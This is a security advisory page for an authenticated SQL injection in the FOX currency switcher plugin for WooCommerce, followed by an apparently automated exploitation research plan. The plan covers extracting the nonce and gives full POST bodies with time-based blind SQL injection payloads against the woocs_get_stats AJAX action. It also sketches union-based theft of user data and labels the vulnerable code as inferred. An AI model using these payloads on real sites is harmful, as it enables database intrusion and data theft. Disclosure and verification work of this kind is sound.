FOX <= 1.4.5 - Authenticated (Shop manager+) SQL Injection
Description
The FOX plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with shop manager-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.4.5Source Code
WordPress.org SVNPatched version not available.
This research plan targets a SQL Injection vulnerability in the **FOX – Currency Switcher Professional for WooCommerce** plugin (version <= 1.4.5). The vulnerability stems from the improper handling of user-supplied parameters in the statistics gathering logic, which are used in raw SQL queries with…
Show full research plan
This research plan targets a SQL Injection vulnerability in the FOX – Currency Switcher Professional for WooCommerce plugin (version <= 1.4.5). The vulnerability stems from the improper handling of user-supplied parameters in the statistics gathering logic, which are used in raw SQL queries without sufficient preparation or escaping.
1. Vulnerability Summary
- Vulnerability: SQL Injection (Authenticated, Shop Manager+).
- Plugin: FOX – Currency Switcher Professional for WooCommerce (slug:
woocommerce-currency-switcher). - Affected Version: <= 1.4.5.
- Vulnerable Sink: The statistics gathering functions (specifically
woocs_get_stats) use user-supplied parameters likeorder_statusorprofilewithin SQLWHEREclauses orINstatements without using$wpdb->prepare(). - Reasoning: The plugin relies on
sanitize_text_field()or direct interpolation of array values into strings, which does not prevent SQL injection when the resulting string is used in a database query.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php. - Action:
woocs_get_stats. - Vulnerable Parameter:
order_status. - Authentication: Requires a user with at least
shop_managercapabilities. - Nonce: Protected by a nonce named
woocs_nonce.
3. Code Flow
- Entry Point: The plugin registers the AJAX action in
classes/woocs.php(orindex.phpdepending on version structure) viaadd_action( 'wp_ajax_woocs_get_stats', array($this, 'woocs_get_stats') );. - Input Acquisition: The
woocs_get_stats()function (found inclasses/woocs.php) retrieves theorder_statusparameter from$_REQUEST['order_status']. - Vulnerable Processing: The code constructs a SQL query string. It often iterates over
order_statusor usesimplode()to create a comma-separated list for a SQLINclause.- Example Vulnerable Logic (Inferred):
$order_status = $_REQUEST['order_status']; $sql = "SELECT ... WHERE order_status IN ('" . implode("','", $order_status) . "') ..."; $results = $wpdb->get_results($sql);
- Example Vulnerable Logic (Inferred):
- Database Sink: The unparameterized string is passed directly to
$wpdb->get_results().
4. Nonce Acquisition Strategy
The woocs_nonce is localized into the WordPress admin dashboard for users with access to the plugin settings.
- Precondition: Authenticate as a
shop_manager. - Navigation: Navigate to the FOX Settings page:
wp-admin/admin.php?page=wc-settings&tab=woocs. - Extraction: The plugin uses
wp_localize_scriptto provide the nonce to its admin JS. The variable is typicallywoocs_vars. - Execution Agent Steps:
browser_navigate("http://localhost:8080/wp-admin/admin.php?page=wc-settings&tab=woocs")NONCE = browser_eval("window.woocs_vars?.woocs_nonce")
5. Exploitation Strategy
We will use a time-based blind SQL injection payload to confirm the vulnerability, as it is the most reliable method when query results are processed by the application before being returned in JSON format.
- Target URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Payload Construction:
If the code usesimplode("','", $order_status), the payload needs to break out of the quote.order_status[0] = completed') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1
- Full Request Body:
action=woocs_get_stats&woocs_nonce=[EXTRACTED_NONCE]&order_status[]=completed') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1
6. Test Data Setup
- Users: Create a user with the
shop_managerrole. - Plugin Setup:
- Install and activate WooCommerce.
- Install and activate FOX - Currency Switcher Professional for WooCommerce (version 1.4.5).
- Data Requirement: The
woocs_get_statsfunction may require at least one existing WooCommerce order in the database to reach the vulnerable query path.wp wc order create --user=admin --status=completed
7. Expected Results
- Vulnerable Response: The HTTP response will be delayed by approximately 5 seconds. The response body will likely be a JSON object containing statistics or an empty
successmessage. - Baseline Response: A request with a legitimate
order_status(e.g.,completed) will return almost instantaneously.
8. Verification Steps
- Time Delay: Use the
http_requesttool'stime_totalmetric to confirm the sleep duration. - Database Integrity: Verify that the injection did not damage the database (the
SELECTquery is read-only). - Data Extraction (Optional): Attempt to extract the database version:
order_status[]=completed') AND (SELECT 1 FROM (SELECT(IF(VERSION() LIKE '8%', SLEEP(5), 0)))a) AND ('1'='1
9. Alternative Approaches
- Error-Based Injection: If
WP_DEBUGis enabled, the plugin might leak SQL errors. Send a malformed status likeorder_status[]=completed'. - Union-Based Injection: If the results of the query are reflected in the JSON response (e.g., in the graph data), identify the column count and use a
UNION SELECTto leakwp_usersdata. - Alternative Parameter: Check the
profileparameter in the same AJAX action, as FOX often uses similar logic for saving and loading currency profiles.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.